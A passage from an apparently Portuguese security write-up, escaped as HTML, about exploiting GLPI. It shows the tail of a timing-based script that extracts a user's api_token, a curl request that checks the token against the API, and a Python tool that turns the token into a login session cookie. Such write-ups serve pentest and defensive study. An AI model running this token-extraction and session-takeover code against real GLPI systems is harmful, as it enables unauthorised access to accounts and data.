&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-t&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--timeout&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Request timeout (should exceed sleep)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-o&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--offset&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Starting character position (1-based)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-m&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--max&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;     type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Max token length to probe&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-p&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--prefix&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;         help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Already-known prefix to prepend&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparser.parse_args()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; args.prefix&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(args.offset, args.max&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        for&lt;&#x2F;span&gt;&lt;span&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 127&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; payload(args.url, args.name, pos, char, args.sleep, args.timeout):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; chr&lt;&#x2F;span&gt;&lt;span&gt;(char)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;                print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(char),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; flush&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;                break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;\n{&lt;&#x2F;span&gt;&lt;span&gt;token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    main()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Executando o script e esperando o processo de extração, logo vamos ter o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; completo do usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; em mãos. Para verificar se o token está funcional, utilizei a própria rota da API do GLPI &lt;code&gt;&#x2F;apirest.php&#x2F;initSession?get_full_session=true&lt;&#x2F;code&gt; que vi anteriormente na documentação, e que retorna um &lt;strong&gt;session_token&lt;&#x2F;strong&gt; caso o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; seja válido.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -X&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; GET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;    -H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;Content-Type: application&#x2F;json&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;    -H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Authorization: user_token &amp;lt;api_token&amp;gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;#39;https:&#x2F;&#x2F;&amp;lt;instancia-glpi&amp;gt;&#x2F;apirest.php&#x2F;initSession?get_full_session=true&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Felizmente tudo correu bem durante o processo de extração do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e o mesmo era válido, a API retornou uma resposta JSON completa com informações da sessão juntamente de um &lt;strong&gt;session_token&lt;&#x2F;strong&gt;, indicando que o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; é funcional.&lt;&#x2F;p&gt;
&lt;p&gt;Seguindo com a exploração, apenas com o &lt;strong&gt;session_token&lt;&#x2F;strong&gt; não é possível se autenticar na interface do serviço do GLPI, apenas interagir com a API. Então, desenvolvi outra ferramenta que utiliza o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; para retornar um cookie de sessão válido. Ressalta-se que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na execução.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; bs4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; BeautifulSoup&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; urllib3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; argparse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;urllib3.disable_warnings()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; generate_cookie&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;base_url&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; user_token&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    login_url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; base_url.rstrip(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&#x2F;front&#x2F;login.php&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    session&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; requests.Session()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    session.verify&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; False&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    session.headers.update({&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;User-Agent&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;   &amp;quot;Mozilla&#x2F;5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko&#x2F;20100101 Firefox&#x2F;139.0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;Referer&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:      login_url,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;Origin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:       base_url.rstrip(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;Accept&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;       &amp;quot;text&#x2F;html,application&#x2F;xhtml+xml&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    })&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    response&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; session.get(login_url); response.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    soup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BeautifulSoup(response.text,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;html.parser&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    form&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; soup.find(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;form&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; action&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;lambda&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span&gt;: x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;login.php&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; x)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    csrf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; form.find(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;input&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;name&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;_glpi_csrf_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;})[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;redirect&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;          &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;_glpi_csrf_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:  csrf,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;auth&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;              &amp;quot;token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;user_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:        user_token,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;submit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;            &amp;quot;Login&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    second_response&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; session.post(login_url,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;data); second_response.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; cookie_name, cookie_value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; session.cookies.items():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; cookie_name.startswith(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;glpi_&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Cookie: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;cookie_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;cookie_value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;            return&lt;&#x2F;span&gt;&lt;span&gt; session&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    raise&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; RuntimeError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Impossible to generate a cookie :&#x2F; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
